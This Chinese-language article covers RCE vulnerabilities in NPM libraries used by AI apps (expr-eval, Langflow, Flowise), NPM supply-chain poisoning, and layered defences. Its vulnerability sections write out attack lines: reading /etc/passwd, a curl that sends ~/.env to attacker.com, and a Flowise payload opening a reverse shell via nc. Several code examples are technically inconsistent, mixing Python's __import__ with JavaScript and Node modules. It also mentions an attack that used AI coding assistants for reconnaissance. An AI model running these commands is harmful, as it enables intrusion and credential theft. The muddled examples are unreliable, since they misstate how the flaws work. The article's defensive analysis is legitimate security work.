随着生成式AI与自然语言处理技术的爆发式增长,全球超75%的AI企业依赖NPM(Node Package Manager)生态进行开发部署。然而,2025年以来,expr-eval、langflow、Flowise等多款高下载量NPM库相继曝出远程代码执行(RCE)高危漏洞,涉及CVE-2025-12735、CVE-2025-59528等多个编号,部分漏洞CVSS评分高达9.6,可直接导致AI模型服务器被完全控制、训练数据泄露、业务逻辑被篡改等灾难性后果。这些漏洞并非孤立事件,而是AI应用开发模式与NPM生态安全短板碰撞产生的系统性风险,其影响已从单一应用渗透至整个AI供应链,亟需行业建立从应急响应到长效防御的全链路安全体系。

一、典型漏洞深度解析:技术原理与攻击路径

当前NPM库引发的AI/NLP应用RCE漏洞,集中暴露了输入校验缺失、沙箱机制失效、供应链污染三大核心问题,以下为影响最广泛的四类漏洞案例:

1. 表达式解析类漏洞:expr-eval的安全替代者陷阱

expr-eval作为JavaScript生态中常用的数学表达式解析库,被oplangchain等LangChain.js实现版本依赖,周下载量超百万次,其衍生分支expr-eval-fork同样被大量AI应用采用。该库存在的CVE-2025-12735漏洞,核心缺陷在于上下文对象未做安全限制,攻击者可通过构造恶意表达式,在解析器中定义任意函数,进而注入系统级命令。

攻击路径极为简洁:AI应用在处理用户输入的数学计算需求(如NLP模型参数调优、数据分析模块)时,若直接将未过滤的输入传递给expr-eval的解析方法,攻击者可嵌入__import__("os").system("cat /etc/passwd")类恶意代码,通过解析器执行流程触发服务器端命令执行。由于AI应用常需访问模型权重文件、API密钥等敏感资源,该漏洞可直接导致核心资产泄露。目前官方已通过expr-eval-fork 3.0.0版本修复,新增函数白名单机制与自定义函数强制注册功能,但存量应用的升级滞后仍构成重大风险。

2. AST解析执行漏洞:langflow的未授权代码注入

Langflow作为基于LangChain的AI流程编排工具,在1.3.0以下版本中存在未授权RCE漏洞,其本质是AST(抽象语法树)解析过程中缺乏沙箱隔离。该工具的权限校验模块在验证用户提供的代码段时,会通过ast.parse解析代码结构,再调用compileexec函数执行AST对象,且未对函数装饰器与参数表达式进行安全过滤。

攻击者可利用两大攻击向量:一是通过装饰器注入恶意代码,如构造@exec("curl http://attacker.com/steal?data=$(cat ~/.env)")的函数定义,在函数解析时直接执行;二是在函数参数中嵌入执行语句,如def foo(cmd=__import__("child_process").execSync("id")):,借助Python函数定义时参数值预执行的特性触发攻击。更危险的是,该漏洞存在于未授权接口中,攻击者无需获取登录凭证即可发起攻击,而Langflow作为AI工作流核心组件,其服务器通常存储完整的业务流程配置与模型调用凭证,一旦被攻陷将导致全链路安全失效。

3. 配置参数注入漏洞:Flowise的MCP接口风险

Flowise 3.0.5之前版本曝出的CVE-2025-59528漏洞,直指AI应用中广泛使用的模型上下文协议(MCP)集成场景。该漏洞位于/api/v1/node-load-method/customMCP接口,后端在处理mcpServerConfig参数时未做任何安全校验,直接将用户输入作为JavaScript代码动态执行。

攻击者构造的恶意配置参数如下:

{
  "mcpServerConfig": "(function(){require('child_process').execSync('nc attacker.com 4444 -e /bin/bash');})()"
}

由于Flowise主要用于AI工作流部署,其服务器通常具备模型推理权限与数据访问权限,漏洞利用后攻击者可窃取训练数据、篡改模型输出结果,甚至横向渗透至AI训练集群。该案例凸显了MCP协议“无缝集成”特性背后的安全隐患——72%的MCP部署暴露敏感功能,13%接受不受信任输入,两者叠加形成高风险攻击面。

4. 供应链投毒漏洞:恶意NPM包的隐蔽攻击

除了开源库自身缺陷,供应链投毒已成为AI应用RCE漏洞的重要来源。2025年曝光的rand-user-agent包投毒事件中,攻击者在1.0.110及后续版本中植入混淆恶意代码,每周影响4.5万次下载量的应用。该恶意包会建立与C2服务器的隐秘连接,动态安装依赖并劫持系统PATH,支持文件上传、命令执行等多种恶意操作,可窃取AI开发环境中的API密钥、模型训练数据等核心资产。

更值得警惕的是Nx Build系统遭遇的s1ngularity攻击,攻击者窃取NPM令牌后发布8个恶意版本,其安装脚本会搜索SSH密钥、云凭证等敏感信息,并利用Claude、Gemini等AI工具辅助侦察,这是首个将开发者AI助手武器化的供应链攻击案例。此类攻击利用了AI应用依赖链复杂的特点,通过污染基础工具包实现“一箭多雕”的攻击效果,且恶意代码常通过混淆、隐藏在合法代码底部等方式逃避检测。

二、漏洞共性与AI场景的放大效应

当前NPM库RCE漏洞之所以在AI/NLP领域造成严重危害,核心在于AI应用的技术特性与NPM生态的安全缺陷形成了叠加效应,使传统漏洞的风险等级呈指数级提升:

1. 攻击面指数级扩展

AI/NLP应用通常集成大量NPM包构建复杂功能链路,一个核心库的漏洞会通过依赖传递影响数千个上层应用。例如expr-eval的漏洞通过oplangchain扩散至各类LangChain衍生应用,而MCP相关NPM包的漏洞则影响所有采用该协议的AI集成场景。更严重的是,AI应用的多模态输入(文本、语音、图像)为漏洞利用提供了更多入口,攻击者可将恶意代码伪装成模型输入数据,绕过传统安全防护。

2. 风险传导速度倍增

AI应用的自动化特性加速了漏洞利用的扩散速度。在Nx攻击事件中,恶意包发布后数小时内,就有数千个机密被泄露到1079个公开GitHub仓库,攻击高峰期近1400个恶意仓库同时在线。而AI工作流的自动化部署机制,会使未修复漏洞的依赖包被快速同步至开发、测试、生产全环境,形成“一键式投毒”的风险传导路径。

3. 攻击后果更具破坏性

AI/NLP应用承载的核心资产价值远超传统应用,漏洞利用可能导致:训练数据泄露(如医疗、金融领域的敏感语料)、AI模型被窃取或篡改(如注入后门逻辑)、业务决策被操控(如NLP情感分析结果被恶意干扰)。更严重的是,攻击者可利用AI应用的算力资源发起大规模协同攻击,或通过模型输出传播恶意信息,造成连锁式危害。

4. 漏洞隐蔽性显著增强

AI应用的动态执行特性使漏洞利用更难被检测。例如langflow的AST解析漏洞,恶意代码嵌入在函数装饰器或参数中,与正常代码结构高度相似;而rand-user-agent的恶意代码通过深度混淆隐藏在文件底部,常规代码审计难以发现。同时,AI模型的“黑盒特性”会掩盖漏洞利用的痕迹,攻击者可通过模型输出获取攻击结果,无需直接与目标服务器交互。

三、一体化防御体系:从应急响应到长效治理

应对NPM库漏洞引发的AI安全危机,需摒弃“单点修复”的被动模式,建立覆盖“漏洞识别-应急处置-技术防护-流程治理-供应链管控”的一体化防御体系,结合AI特性与NPM生态特点构建全链路安全屏障:

1. 应急响应:快速遏制漏洞扩散

  • 建立漏洞优先级评估机制,采用SSVC(Stakeholder-Specific Vulnerability Categorization)框架,结合AI应用的业务重要性、数据敏感性、漏洞利用难度,制定差异化修复优先级。
  • 对已知高危漏洞(如CVE-2025-12735、CVE-2025-59528)实施紧急处置:立即升级受影响NPM包至安全版本,无法即时升级的采用临时防护措施(如输入过滤、接口限流)。
  • 开展漏洞影响范围排查,利用npm audit、Snyk等工具扫描项目依赖树,识别传递性依赖中的漏洞风险,生成详细的漏洞清单与修复建议。

2. 技术防护:构建AI场景化安全屏障

  • 输入验证与沙箱隔离:对所有用户输入(包括模型输入数据)实施严格校验,禁用危险函数与代码执行接口;AI应用中涉及动态代码执行的模块(如AST解析、表达式计算)必须部署独立沙箱环境,限制文件系统访问、网络连接等敏感操作。
  • API安全加固:对AI应用的核心接口(如模型调用、工作流执行)实施身份认证与权限管控,启用OAuth 2.1或OpenID Connect协议,防止未授权访问;在API网关层部署AI异常检测模块,识别恶意代码注入、暴力调用等异常行为。
  • 代码审计自动化:集成CodeQL等静态分析工具,针对AI场景定制漏洞检测规则,重点扫描exec、eval、child_process等危险函数的使用场景,以及AST解析、序列化/反序列化等高危操作环节。
  • 终端与数据防护:在AI服务器部署EDR工具,监控异常进程与文件操作,拦截恶意代码执行;采用数据防泄漏(DLP)工具保护训练数据与模型输出,对敏感信息实施脱敏处理,防止漏洞利用导致的数据泄露。

3. 流程治理:嵌入全生命周期安全管控

  • 开发阶段:推行“安全左移”理念,将NPM包安全评估纳入开发流程,要求所有引入的依赖包必须通过安全扫描;采用“最小依赖”原则,剔除不必要的第三方库,减少攻击面。
  • 构建阶段:启用CI/CD流水线的依赖安全校验环节,集成npm audit、Dependabot等工具,自动检测并预警高危依赖;实施“可信发布者”机制,仅允许经过验证的包发布者的版本进入构建流程,防止供应链投毒。
  • 部署阶段:采用容器化或虚拟化技术隔离AI应用运行环境,限制容器权限;部署运行时应用自我保护(RASP)工具,实时监控代码执行流程,阻断漏洞利用行为。
  • 运维阶段:建立常态化漏洞扫描与渗透测试机制,定期对AI应用及其依赖的NPM包进行安全评估;制定AI安全应急响应预案,明确漏洞发现、通报、修复、复盘的全流程职责与时限。

4. 供应链防护:构建可信依赖生态

  • 建立依赖包安全评级体系,优先选择维护活跃、安全记录良好的NPM包,避免使用超过2年未更新或存在历史漏洞的库。
  • 生成并维护软件物料清单(SBOM),记录所有NPM依赖包的版本、来源、漏洞状态等信息,实现依赖关系的全链路追溯;对关键依赖包实施本地镜像缓存,防止上游仓库被污染。
  • 实施依赖混淆防护,在package.json中明确声明私有依赖的来源,使用scope机制区分公共与私有包,避免攻击者通过注册同名包实施投毒攻击。
  • 参与开源生态安全共建,及时反馈NPM包的安全问题,支持开源项目的漏洞修复,推动建立更严格的开源软件安全标准。

四、未来趋势:AI安全与供应链防护的深度融合

随着AI技术与NPM生态的持续发展,漏洞攻击与防御的对抗将进入“AI vs AI”的新阶段,未来的安全防护需具备更强的前瞻性与智能化:

1. 风险预测走向智能化

AI驱动的漏洞预警系统将成为主流,通过分析NPM包的更新频率、维护状态、代码变更趋势,结合AI应用的依赖关系,提前预测潜在漏洞风险。例如,利用机器学习模型识别NPM包中的可疑代码模式,在漏洞被公开披露前进行预警;通过自然语言处理技术分析安全社区的舆情信息,捕捉未公开漏洞的蛛丝马迹。

2. 防御技术向主动化演进

未来的防御体系将实现从“被动修复”到“主动免疫”的转变:AI驱动的自适应防火墙可实时学习AI应用的正常行为模式,自动识别并阻断异常的代码执行与依赖调用;智能沙箱技术将能动态调整防护策略,根据代码行为自动扩展限制范围;自动化漏洞修复工具可针对常见NPM漏洞(如输入校验缺失)提供一键修复方案,降低修复成本。

3. 供应链安全进入标准化时代

行业将逐步建立AI应用供应链安全标准,要求NPM包开发者提供安全合规声明、漏洞响应承诺、代码安全审计报告;监管机构可能出台相关法规,强制要求涉及关键领域(医疗、金融、政务)的AI应用提交完整的SBOM,确保依赖链可追溯、可管控。MCP等主流AI集成协议将把安全机制内置到核心设计中,默认启用身份认证与权限管控,从源头减少漏洞产生。

4. 零信任架构全面落地

零信任理念将深度融入AI应用的依赖管理,实现“永不信任,始终验证”:对每个NPM包的每次调用都进行安全校验,包括版本合法性、代码完整性、行为合规性;采用微隔离技术将不同依赖包的执行环境相互隔离,防止单个包的漏洞扩散至整个应用;通过区块链等技术实现依赖包的全生命周期溯源,确保代码未被篡改。

结语

NPM生态的漏洞危机为AI与NLP应用的安全发展敲响了警钟,其本质是技术快速迭代与安全体系建设滞后的必然结果。面对日益复杂的攻击态势,企业不能单纯依赖漏洞修复的“事后补救”,而应构建“技术防护+流程治理+供应链管控”的三维防御体系,将安全理念嵌入AI应用的全生命周期。

未来,AI安全的核心竞争力将体现在对供应链风险的掌控能力上,只有实现NPM生态依赖的可信化、透明化、可控化,才能为AI技术的创新发展筑牢安全根基。行业各方需加强协作,共同推动开源生态的安全升级与AI安全标准的建立,让技术进步与安全保障实现同步发展。

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